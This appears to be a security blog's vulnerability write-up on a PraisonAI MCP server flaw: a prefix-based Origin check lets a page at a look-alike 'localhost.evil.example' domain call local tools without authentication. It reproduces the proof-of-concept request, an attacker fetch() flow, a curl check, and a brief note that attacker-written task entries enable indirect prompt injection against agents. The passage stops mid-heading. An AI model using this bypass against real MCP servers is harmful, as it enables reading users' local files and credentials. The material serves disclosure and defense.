class="literal">True</span></span><br></pre></td></tr></table></figure><p><code>&quot;http://localhost.evil.example&quot;.startswith(&quot;http://localhost&quot;)</code> is <code>True</code>. An attacker who controls any domain can create that subdomain, host a page on it, and every request the page makes to the victim’s local MCP server carries a trusted-looking <code>Origin</code>.</p><p>This matters because the MCP CLI defaults to no API key. Authentication is only enforced <code>if self.api_key:</code>, so a server started with <code>praisonai mcp --transport http-stream</code> is, by default, an unauthenticated JSON-RPC endpoint that dispatches <code>tools/call</code> to every tool registered by <code>register_all()</code>. In local testing, the bypassed request invoked <code>praisonai.files.create</code> — which opens an attacker-chosen local path and hands the file object to the configured LiteLLM provider — and <code>praisonai.todo.add</code>, which writes attacker-controlled content into <code>~/.praison/todo.json</code>.</p><p>The issue is classified as <strong>CWE-346: Origin Validation Error</strong> and <strong>CWE-306: Missing Authentication for Critical Function</strong>, rated <strong>Moderate</strong> with the CVSS 3.1 vector <code>CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N</code> — a base score of <strong>6.9</strong> by the CVSS 3.1 formula. The default bind address is <code>127.0.0.1</code>, so this is a browser-mediated local attack, not a directly internet-facing API. PraisonAI fixed it in <strong>4.6.58</strong>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the linked CVE, GitHub advisory, or project release material.</li><li><strong>Inferred</strong> means a deployment or architectural consequence derived from those facts and clearly identified as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-55529</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-wj6g-v78p-6fx3</td><td>Verified</td></tr><tr><td>Reporter</td><td>hoanggxyuuki</td><td>Verified (advisory credits)</td></tr><tr><td>Analyst</td><td>NguyenHuyTrung</td><td>Verified (advisory credits)</td></tr><tr><td>Package</td><td>PraisonAI (pip)</td><td>Verified</td></tr><tr><td>Affected versions</td><td>Versions before 4.6.58</td><td>Verified</td></tr><tr><td>Fixed version</td><td>4.6.58</td><td>Verified</td></tr><tr><td>Weakness</td><td>Origin validation error (CWE-346), missing authentication (CWE-306)</td><td>Verified</td></tr><tr><td>Component</td><td><code>src/praisonai/praisonai/mcp_server/transports/http_stream.py</code></td><td>Verified</td></tr><tr><td>Root cause</td><td><code>request_origin.startswith(allowed)</code> against a bare-origin allowlist</td><td>Verified</td></tr><tr><td>Bypass origin</td><td><code>http://localhost.evil.example</code></td><td>Verified</td></tr><tr><td>Default posture</td><td>Host <code>127.0.0.1</code>, API key <code>None</code>, allowed origins <code>None</code></td><td>Verified</td></tr><tr><td>Demonstrated tools</td><td><code>praisonai.files.create</code>, <code>praisonai.todo.add</code></td><td>Verified</td></tr><tr><td>Preconditions</td><td>Victim runs an HTTP Stream MCP server without an API key and loads an attacker-controlled page</td><td>Verified</td></tr><tr><td>Severity</td><td>Moderate, <code>AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N</code></td><td>Verified (vector); score 6.9 derived from the vector</td></tr><tr><td>EPSS</td><td>2nd percentile at time of publication</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>MervinPraison/PraisonAI@2f9677a</code></td><td>Verified</td></tr></tbody></table><h2 id="Background-why-a-local-MCP-server-needs-Origin-checks-at-all"><a href="#Background-why-a-local-MCP-server-needs-Origin-checks-at-all" class="headerlink" title="Background: why a local MCP server needs Origin checks at all"></a>Background: why a local MCP server needs Origin checks at all</h2><p>A developer running an MCP server on <code>127.0.0.1:8080</code> reasonably assumes it is private. No firewall rule exposes it; no router forwards to it; <code>netstat</code> confirms it is bound to loopback.</p><p>The assumption is wrong in exactly one direction: <strong>the victim’s own browser is inside the loopback boundary.</strong> Any webpage the victim loads can issue requests to <code>http://127.0.0.1:8080/</code> — the browser is happy to make the connection, and the loopback interface is happy to accept it. This is the classic confused-deputy shape behind DNS rebinding and every “local service reachable from the web” finding of the last fifteen years.</p><p>The Model Context Protocol specification addresses this directly. Its Streamable HTTP security warning states:</p><blockquote><ol><li>Servers <strong>MUST</strong> validate the <code>Origin</code> header on all incoming connections to prevent DNS rebinding attacks</li><li>When running locally, servers <strong>SHOULD</strong> bind only to localhost (127.0.0.1) rather than all network interfaces (0.0.0.0)</li><li>Servers <strong>SHOULD</strong> implement proper authentication for all connections</li></ol><p>Without these protections, attackers could use DNS rebinding to interact with local MCP servers from remote websites.</p></blockquote><p>PraisonAI followed the first two points and made the third optional. The origin check exists, the default allowlist exists, the bind is on loopback, and a plainly malicious origin like <code>https://evil.example</code> is rejected with <code>403</code>. The control was designed correctly and implemented with one bad comparison — which, with authentication off by default, was the whole boundary.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="The-default-allowlist-uses-bare-origins"><a href="#The-default-allowlist-uses-bare-origins" class="headerlink" title="The default allowlist uses bare origins"></a>The default allowlist uses bare origins</h3><p>When <code>allowed_origins</code> is not explicitly configured and the server binds to a loopback address, the transport populates a default allowlist:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> allowed_origins <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">if</span> host <span class="keyword">in</span> (<span class="string">&quot;127.0.0.1&quot;</span>, <span class="string">&quot;localhost&quot;</span>, <span class="string">&quot;::1&quot;</span>):</span><br><span class="line">        <span class="variable language_">self</span>.allowed_origins = [</span><br><span class="line">            <span class="string">&quot;http://localhost&quot;</span>,</span><br><span class="line">            <span class="string">&quot;http://127.0.0.1&quot;</span>,</span><br><span class="line">            <span class="string">&quot;https://localhost&quot;</span>,</span><br><span class="line">            <span class="string">&quot;https://127.0.0.1&quot;</span>,</span><br><span class="line">        ]</span><br></pre></td></tr></table></figure><p>Note what these entries do <em>not</em> contain: a port. A real browser page served from a local dev server sends <code>Origin: http://localhost:3000</code>, not <code>Origin: http://localhost</code>. An exact-match comparison against this list would reject every legitimate local development origin.</p><p>That is the trap. The bare-origin list creates pressure for a loose comparison, and the loose comparison is what follows.</p><h3 id="The-comparison-is-a-string-prefix-not-an-origin-comparison"><a href="#The-comparison-is-a-string-prefix-not-an-origin-comparison" class="headerlink" title="The comparison is a string prefix, not an origin comparison"></a>The comparison is a string prefix, not an origin comparison</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> allowed <span class="keyword">in</span> <span class="variable language_">self</span>.allowed_origins:</span><br><span class="line">    <span class="keyword">if</span> request_origin == allowed <span class="keyword">or</span> request_origin.startswith(allowed):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br></pre></td></tr></table></figure><p><code>startswith</code> solves the port problem — <code>http://localhost:3000</code> does begin with <code>http://localhost</code> — and in doing so accepts a much larger set than intended. The string <code>http://localhost</code> is a prefix of all of the following, none of which are localhost:</p><table><thead><tr><th>Origin</th><th>Passes?</th><th>Why</th></tr></thead><tbody><tr><td><code>http://localhost:3000</code></td><td>Yes</td><td>Intended case: a local dev server</td></tr><tr><td><code>http://localhost.evil.example</code></td><td>Yes</td><td><strong>Bypass.</strong> A subdomain the attacker fully controls</td></tr><tr><td><code>http://localhost-console.evil.example</code></td><td>Yes</td><td>Hyphen continues the label; still an attacker domain</td></tr><tr><td><code>http://127.0.0.1.evil.example</code></td><td>Yes</td><td>Same shape against the IP-literal entry</td></tr><tr><td><code>https://evil.example</code></td><td>No</td><td>Rejected with <code>403</code> — the control works against the obvious case</td></tr></tbody></table><p>The boundary between a hostname and the next label is <code>.</code>, and between a host and a port is <code>:</code>. A prefix match respects neither. It treats the origin as an opaque string when the origin is a structured value with a grammar.</p><h3 id="Registering-localhost-evil-example-is-trivial-and-needs-no-rebinding"><a href="#Registering-localhost-evil-example-is-trivial-and-needs-no-rebinding" class="headerlink" title="Registering localhost.evil.example is trivial and needs no rebinding"></a>Registering <code>localhost.evil.example</code> is trivial and needs no rebinding</h3><p>The advisory frames this as “DNS-rebinding-style,” and the class is the same. In practice the prefix bypass is simpler than rebinding, because the attacker does not need to flip a DNS answer at all:</p><ol><li>The attacker owns <code>evil.example</code>.</li><li>They create the DNS record <code>localhost.evil.example</code> pointing at their own web server. There is no restriction on using <code>localhost</code> as a subdomain label.</li><li>The victim loads <code>http://localhost.evil.example/</code>.</li><li>Script on that page issues a request to <code>http://127.0.0.1:8080/mcp</code>.</li><li>The browser attaches <code>Origin: http://localhost.evil.example</code>, exactly as the specification requires for a cross-origin request.</li><li>The MCP transport prefix-matches it against <code>http://localhost</code> and returns <code>True</code>.</li></ol><p>No rebinding race, no TTL manipulation, no timing. The attacker simply names a host in a way that defeats the comparison.</p><h3 id="The-request-crosses-the-browser’s-own-defenses-as-a-“simple-request”"><a href="#The-request-crosses-the-browser’s-own-defenses-as-a-“simple-request”" class="headerlink" title="The request crosses the browser’s own defenses as a “simple request”"></a>The request crosses the browser’s own defenses as a “simple request”</h3><p>A cross-origin <code>POST</code> normally triggers a CORS preflight, which would give the server a second chance to refuse. The published proof of concept posts with <code>Content-Type: text/plain</code>:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">bypass = client.post(</span><br><span class="line">    <span class="string">&quot;/mcp&quot;</span>,</span><br><span class="line">    data=json.dumps(file_payload),</span><br><span class="line">    headers=&#123;</span><br><span class="line">        <span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://localhost.evil.example&quot;</span>,</span><br><span class="line">        <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;text/plain&quot;</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><code>text/plain</code> is one of the three content types that qualify a cross-origin <code>POST</code> as a CORS <em>simple request</em>, meaning the browser sends it directly with no preflight. The body is still valid JSON-RPC, and the server parses it as such. So the one browser-level check that might have intervened never runs.</p><p><strong>Inferred:</strong> this is why the finding is about <em>side effects</em> rather than only about reading a response. Whether the attacker page can read the JSON-RPC reply depends on the response’s CORS headers and the server’s <code>cors_origins</code> configuration. Whether the tool <em>executes</em> does not — by the time any response header matters, the file has already been opened and the todo entry has already been written.</p><h3 id="Authentication-is-opt-in-and-the-CLI-opts-out"><a href="#Authentication-is-opt-in-and-the-CLI-opts-out" class="headerlink" title="Authentication is opt-in, and the CLI opts out"></a>Authentication is opt-in, and the CLI opts out</h3><p>The transport enforces credentials only when one is configured:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> <span class="variable language_">self</span>.api_key:</span><br><span class="line">    auth_header = request.headers.get(<span class="string">&quot;Authorization&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> auth_header.startswith(<span class="string">&quot;Bearer &quot;</span>) <span class="keyword">or</span> auth_header[<span class="number">7</span>:] != <span class="variable language_">self</span>.api_key:</span><br><span class="line">        <span class="keyword">return</span> JSONResponse(&#123;<span class="string">&quot;error&quot;</span>: <span class="string">&quot;Unauthorized&quot;</span>&#125;, status_code=<span class="number">401</span>)</span><br></pre></td></tr></table></figure><p>And the CLI defaults leave it unset:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">parser.add_argument(<span class="string">&quot;--host&quot;</span>, default=<span class="string">&quot;127.0.0.1&quot;</span>)</span><br><span class="line">parser.add_argument(<span class="string">&quot;--port&quot;</span>, <span class="built_in">type</span>=<span class="built_in">int</span>, default=<span class="number">8080</span>)</span><br><span class="line">parser.add_argument(<span class="string">&quot;--api-key&quot;</span>, default=<span class="literal">None</span>)</span><br><span class="line">parser.add_argument(<span class="string">&quot;--allowed-origins&quot;</span>, default=<span class="literal">None</span>, <span class="built_in">help</span>=<span class="string">&quot;Comma-separated allowed origins for security&quot;</span>)</span><br></pre></td></tr></table></figure><p>So in the default configuration the Origin check is not one layer of defense among several — it is the <em>only</em> thing standing between a webpage and the tool dispatcher. A single flawed comparison is therefore a complete bypass.</p><h3 id="What-sits-behind-the-bypassed-check"><a href="#What-sits-behind-the-bypassed-check" class="headerlink" title="What sits behind the bypassed check"></a>What sits behind the bypassed check</h3><p>Before serving, the CLI calls <code>register_all()</code>, which wires up the full tool surface:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">_register_all</span>():</span><br><span class="line">    register_all_tools()</span><br><span class="line">    register_extended_capability_tools()</span><br><span class="line">    register_cli_tools()</span><br><span class="line">    register_mcp_resources()</span><br><span class="line">    register_mcp_prompts()</span><br></pre></td></tr></table></figure><p>The server then dispatches <code>tools/call</code> by name with caller-supplied arguments:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">tool_name = params.get(<span class="string">&quot;name&quot;</span>)</span><br><span class="line">arguments = params.get(<span class="string">&quot;arguments&quot;</span>, &#123;&#125;)</span><br><span class="line"></span><br><span class="line">tool = <span class="variable language_">self</span>._tool_registry.get(tool_name)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> asyncio.iscoroutinefunction(tool.handler):</span><br><span class="line">    result = <span class="keyword">await</span> tool.handler(**arguments)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    result = tool.handler(**arguments)</span><br></pre></td></tr></table></figure><p>Two registered tools illustrate the reachable capability. <code>praisonai.files.create</code> accepts a local path:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@register_tool(<span class="params"><span class="string">&quot;praisonai.files.create&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">files_create</span>(<span class="params">file_path: <span class="built_in">str</span>, purpose: <span class="built_in">str</span> = <span class="string">&quot;assistants&quot;</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    <span class="keyword">from</span> praisonai.capabilities <span class="keyword">import</span> file_create</span><br><span class="line">    result = file_create(file=file_path, purpose=purpose)</span><br></pre></td></tr></table></figure><p>…and <code>file_create()</code> opens that string as a local file and passes the handle onward:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">file_obj = file</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">isinstance</span>(file, <span class="built_in">str</span>):</span><br><span class="line">    file_obj = <span class="built_in">open</span>(file, <span class="string">&#x27;rb&#x27;</span>)</span><br><span class="line"></span><br><span class="line">response = litellm.create_file(**call_kwargs)</span><br></pre></td></tr></table></figure><p>The second, <code>praisonai.todo.add</code>, writes attacker-supplied content into <code>~/.praison/todo.json</code>.</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Attacker page at http://localhost.evil.example</span><br><span class="line">        |</span><br><span class="line">        | fetch(&quot;http://127.0.0.1:8080/mcp&quot;, &#123;method:&quot;POST&quot;,</span><br><span class="line">        |        headers:&#123;&quot;Content-Type&quot;:&quot;text/plain&quot;&#125;, body: JSON-RPC&#125;)</span><br><span class="line">        v</span><br><span class="line">Browser  -- no preflight (simple request), Origin attached --&gt; loopback</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">HTTPStreamTransport._validate_origin()</span><br><span class="line">        |   startswith(&quot;http://localhost&quot;)  -&gt; True</span><br><span class="line">        v</span><br><span class="line">MCPServer.handle_message()  -&gt;  tools/call</span><br><span class="line">        |</span><br><span class="line">        +--&gt; praisonai.files.create  -&gt; open(attacker_path) -&gt; LiteLLM provider</span><br><span class="line">        +--&gt; praisonai.todo.add      -&gt; write ~/.praison/todo.json</span><br></pre></td></tr></table></figure><h2 id="Reproduction-summary"><a href="#Reproduction-summary" class="headerlink" title="Reproduction summary"></a>Reproduction summary</h2><p>The published proof of concept runs entirely in-process. It injects a fake <code>litellm</code> module so that “uploading” a file only captures its contents in a local dictionary, sets <code>HOME</code> to a temporary directory, and writes a harmless marker file to read back. Nothing is sent to any provider and nothing outside the temp directory is touched.</p><p>The measured results on an affected version:</p><table><thead><tr><th>Request</th><th>Origin</th><th>Result</th></tr></thead><tbody><tr><td><code>tools/call</code> → <code>praisonai.files.create</code></td><td><code>https://evil.example</code></td><td><code>403</code> — correctly blocked</td></tr><tr><td><code>tools/call</code> → <code>praisonai.files.create</code></td><td><code>http://localhost.evil.example</code></td><td><code>200</code> — bypass; the marker file’s contents are read and handed to the provider stub</td></tr><tr><td><code>tools/call</code> → <code>praisonai.todo.add</code></td><td><code>http://localhost.evil.example</code></td><td><code>200</code> — <code>~/.praison/todo.json</code> created with attacker-supplied content</td></tr></tbody></table><p>The first row is the control: the origin check genuinely rejects an unrelated attacker origin. The difference between rows one and two is nothing but the shape of the hostname.</p><h2 id="Impact-and-its-honest-limits"><a href="#Impact-and-its-honest-limits" class="headerlink" title="Impact and its honest limits"></a>Impact and its honest limits</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>A malicious webpage can bypass the localhost origin allowlist and issue <code>tools/call</code> requests to a locally running, unauthenticated HTTP Stream MCP server.</li><li>In local testing this invoked a tool that reads an attacker-selected local file path and passes the file handle to the configured LiteLLM provider.</li><li>It also invoked a tool that modifies local PraisonAI state by writing to <code>~/.praison/todo.json</code>.</li><li>The CVSS vector records <strong>High confidentiality</strong> and <strong>Low integrity</strong> impact with <strong>Changed scope</strong>, reflecting that the compromise crosses from the browser into the victim’s local machine and its files.</li></ul><p>The file-read path is the reason confidentiality is rated High. The tool does not return file contents to the caller directly — it sends them to the configured LLM provider. <strong>Inferred:</strong> that is still a disclosure channel, since the operator’s provider account receives the file, and any path the process can read is a candidate: SSH keys, cloud credential files, <code>.env</code> files, shell history, source trees.</p><h3 id="Preconditions-that-limit-it"><a href="#Preconditions-that-limit-it" class="headerlink" title="Preconditions that limit it"></a>Preconditions that limit it</h3><p>I would rather state the constraints plainly than overstate the finding:</p><ul><li>The default bind is <code>127.0.0.1</code>, so this is <strong>not</strong> a directly internet-reachable API in the default configuration.</li><li>The victim must be running the HTTP Stream transport at the time.</li><li>The victim must be running it <strong>without</strong> an API key. If <code>--api-key</code> is set, the request is rejected with <code>401</code> regardless of origin, and exploitability drops sharply.</li><li>The victim must load an attacker-controlled page whose hostname matches the prefix, or be reached through a rebinding-style setup.</li><li>The attacker needs to know or guess the port; <code>8080</code> is the default, which is not much of an obstacle, but it is a requirement.</li></ul><p><code>AC:H</code> and <code>UI:R</code> in the vector encode exactly these conditions. This is a Moderate finding and I have no interest in dressing it up as more.</p><h3 id="Deployment-dependent-escalation"><a href="#Deployment-dependent-escalation" class="headerlink" title="Deployment-dependent escalation"></a>Deployment-dependent escalation</h3><p>The following are <strong>inferred</strong> and depend on what the victim’s installation has registered and configured:</p><ul><li>the full registered tool surface is reachable, not only the two tools demonstrated — the practical ceiling is set by <code>register_all()</code> in that version and by the environment the process runs in;</li><li>provider API keys present in the process environment are spent on attacker-triggered calls;</li><li>writes into <code>~/.praison/</code> state are a second-order injection channel: content an agent will later read as its own task list is content an attacker chose, which is textbook indirect prompt injection against whatever runs next;</li><li>a developer workstation is a high-value context — source code, credentials, and internal network reachability all sit within the same process’s reach.</li></ul><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Configuration-review"><a href="#Configuration-review" class="headerlink" title="Configuration review"></a>Configuration review</h3><ol><li>Inventory PraisonAI installations and flag anything before 4.6.58.</li><li>Find every place an MCP server is launched — shell aliases, <code>Makefile</code> targets, editor and IDE MCP client configs, <code>launchd</code>&#x2F;<code>systemd</code> units, and developer runbooks.</li><li>For each, record the transport, the <code>--host</code>, the <code>--api-key</code>, and the <code>--allowed-origins</code> values.</li><li>Treat any HTTP Stream server started without <code>--api-key</code> as unauthenticated, including on loopback.</li><li>Confirm whether <code>--allowed-origins</code> was ever set explicitly. If it was not, the vulnerable default allowlist applied.</li></ol><h3 id="Non-destructive-runtime-check"><a href="#Non-destructive-runtime-check" class="headerlink" title="Non-destructive runtime check"></a>Non-destructive runtime check</h3><p>On a machine you own, the presence of the flaw can be confirmed without invoking any tool. Send a request the server will reject for an unrelated reason and compare the origin handling:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># On your own machine only. Compares origin handling; does not call any tool.</span></span><br><span class="line"><span class="keyword">for</span> origin <span class="keyword">in</span> <span class="string">&quot;https://evil.example&quot;</span> <span class="string">&quot;http://localhost.evil.example&quot;</span>; <span class="keyword">do</span></span><br><span class="line">  <span class="built_in">printf</span> <span class="string">&#x27;%s -&gt; &#x27;</span> <span class="string">&quot;<span class="variable">$origin</span>&quot;</span></span><br><span class="line">  curl -s -o /dev/null -w <span class="string">&#x27;%&#123;http_code&#125;\n&#x27;</span> \</span><br><span class="line">    -X POST <span class="string">&quot;http://127.0.0.1:8080/mcp&quot;</span> \</span><br><span class="line">    -H <span class="string">&quot;Origin: <span class="variable">$origin</span>&quot;</span> -H <span class="string">&quot;Content-Type: text/plain&quot;</span> \</span><br><span class="line">    --data <span class="string">&#x27;&#123;&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;tools/list&quot;&#125;&#x27;</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>On an affected server the first origin returns <code>403</code> and the second does not. <code>tools/list</code> enumerates rather than executes, so nothing is invoked. On a fixed or properly key-protected server, both are refused.</p><h3 id="Host-and-log-review"><a href="#Host-and-log-review" class="headerlink" title="Host and log review"></a>Host and log review</h3><p>Look for:</p><ul><li>entries in <code>~/.praison/todo.json</code> that no one on the machine created;</li><li>MCP access logs showing <code>Origin</code> values that are not exactly a local development origin you recognize — specifically any host with additional labels after <code>localhost</code> or <code>127.0.0.1</code>;</li><li><code>tools/call</code> requests carrying <code>Content-Type: text/plain</code>, which is unusual for a legitimate MCP client and expected for a browser simple-request bypass;</li><li>provider usage — file uploads in particular — that does not correspond to your own activity;</li><li>reads of sensitive paths by the MCP server process, if you have endpoint telemetry on the workstation.</li></ul><p><strong>Inferred:</strong> browser-mediated attacks leave little evidence on the server side, so the origin field is the highest-value log line here. If your MCP server does not record <code>Origin</code> on each request, add it.</p><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>PraisonAI 4.6.58 or later</strong>. The fix is in commit <code>2f9677a</code>, shipped in the <code>v4.6.58</code> release, which also addresses the Recipe server fail-open issue tracked as CVE-2026-55533.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li><strong>Always set <code>--api-key</code>, even on loopback.</strong> This is the single highest-value change. With a key configured, the origin bypass alone does not produce tool execution.</li><li>Set <code>--allowed-origins</code> explicitly to the exact origins your clients use, including their ports, rather than relying on any default.</li><li>Prefer stdio transport for local MCP clients that do not need HTTP. A transport a browser cannot reach is not exposed to this class at all.</li><li>Keep the bind address on loopback, and never expose an MCP HTTP endpoint on <code>0.0.0.0</code>.</li><li>Bind to a non-default port to raise the cost of blind targeting. This is friction, not a control.</li><li>Run the MCP server as a user with the least filesystem reach the workflow allows, and avoid launching it from a directory or shell session that carries credentials it does not need.</li><li>Review the registered tool surface. If your workflow does not need file-upload or CLI tooling, do not register it — every registered tool is ambient authority available to anything that reaches the dispatcher.</li><li>If you cannot rule out exposure, rotate provider keys and any credentials readable by the server process, and inspect <code>~/.praison/</code> state for content you did not author.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-06-13</td><td>GitHub shows the advisory published in <code>MervinPraison/PraisonAI</code>, alongside the <code>v4.6.58</code> release containing fix commit <code>2f9677a</code>.</td><td>Primary advisory and release page</td></tr><tr><td>Around 2026-08-25</td><td>GitHub records publication to the GitHub Advisory Database, with review completed and metadata last updated around the same time.</td><td>Advisory page, displayed as a relative timestamp at time of writing</td></tr><tr><td>2026-08-29</td><td>This analysis published.</td><td>This site</td></tr></tbody></table><p>Advisory records are reserved, published, reviewed, and enriched at different times. Read the live records for authoritative chronology; nothing here should be treated as the vendor-notification or discovery date.</p><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="startswith-is-not-an-origin-comparison"><a href="#startswith-is-not-an-origin-comparison" class="headerlink" title="startswith is not an origin comparison"></a><code>startswith</code> is not an origin comparison</h3><p>An origin is a structured triple of scheme, host, and port. Comparing it as an opaque string discards the delimiters that define where the host ends, which is precisely the information the check depends on. Parse it:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Defensive pseudocode.</span></span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urlsplit</span><br><span class="line"></span><br><span class="line">LOCAL_HOSTS = &#123;<span class="string">&quot;localhost&quot;</span>, <span class="string">&quot;127.0.0.1&quot;</span>, <span class="string">&quot;::1&quot;</span>&#125;</span><br><span class="line">LOCAL_SCHEMES = &#123;<span class="string">&quot;http&quot;</span>, <span class="string">&quot;https&quot;</span>&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_local_origin</span>(<span class="params">request_origin: <span class="built_in">str</span></span>) -&gt; <span class="built_in">bool</span>:</span><br><span class="line">    parts = urlsplit(request_origin)</span><br><span class="line">    <span class="comment"># hostname is normalized and strips any port or brackets.</span></span><br><span class="line">    <span class="keyword">return</span> parts.scheme <span class="keyword">in</span> LOCAL_SCHEMES <span class="keyword">and</span> parts.hostname <span class="keyword">in</span> LOCAL_HOSTS</span><br></pre></td></tr></table></figure><p>For an explicitly configured allowlist, normalize both sides and compare for equality — never by prefix, and never by <code>in</code>. If arbitrary ports must be permitted, permit them explicitly through the parsed <code>port</code> field rather than by loosening the string comparison until ports happen to fit.</p><h3 id="The-loose-comparison-usually-has-a-legitimate-motive"><a href="#The-loose-comparison-usually-has-a-legitimate-motive" class="headerlink" title="The loose comparison usually has a legitimate motive"></a>The loose comparison usually has a legitimate motive</h3><p>It is worth being precise about how this bug arises, because “don’t use <code>startswith</code>“ is not a useful lesson on its own. The allowlist contained bare origins with no port; exact matching would have broken every real local client; <code>startswith</code> made it work. Each step is locally reasonable.</p><p>The general pattern: <strong>when a security comparison is loosened to accommodate a legitimate variation, the fix is to model that variation explicitly, not to weaken the comparison.</strong> The variation here was “any port on a local host.” Modeling it costs three lines and closes the class.</p><h3 id="Localhost-is-not-a-security-boundary"><a href="#Localhost-is-not-a-security-boundary" class="headerlink" title="Localhost is not a security boundary"></a>Localhost is not a security boundary</h3><p>Anything bound to <code>127.0.0.1</code> is reachable by every page the user visits. Loopback binding limits <em>who can route to you</em>; it does not limit <em>who can cause a request to be sent to you</em>. A local service that performs privileged actions needs authentication for the same reason a public one does — and on a developer workstation, “privileged” includes reading files and spending API credits.</p><h3 id="Do-not-let-a-single-check-carry-the-whole-boundary"><a href="#Do-not-let-a-single-check-carry-the-whole-boundary" class="headerlink" title="Do not let a single check carry the whole boundary"></a>Do not let a single check carry the whole boundary</h3><p>If the CLI had defaulted to generating an API key, this would be a defense-in-depth weakness rather than a full bypass. Security-relevant defaults should be conservative even when they add friction: a printed key the user must copy is a small cost against an unauthenticated tool dispatcher on a developer’s machine.</p><h3 id="Tool-registration-is-ambient-authority"><a 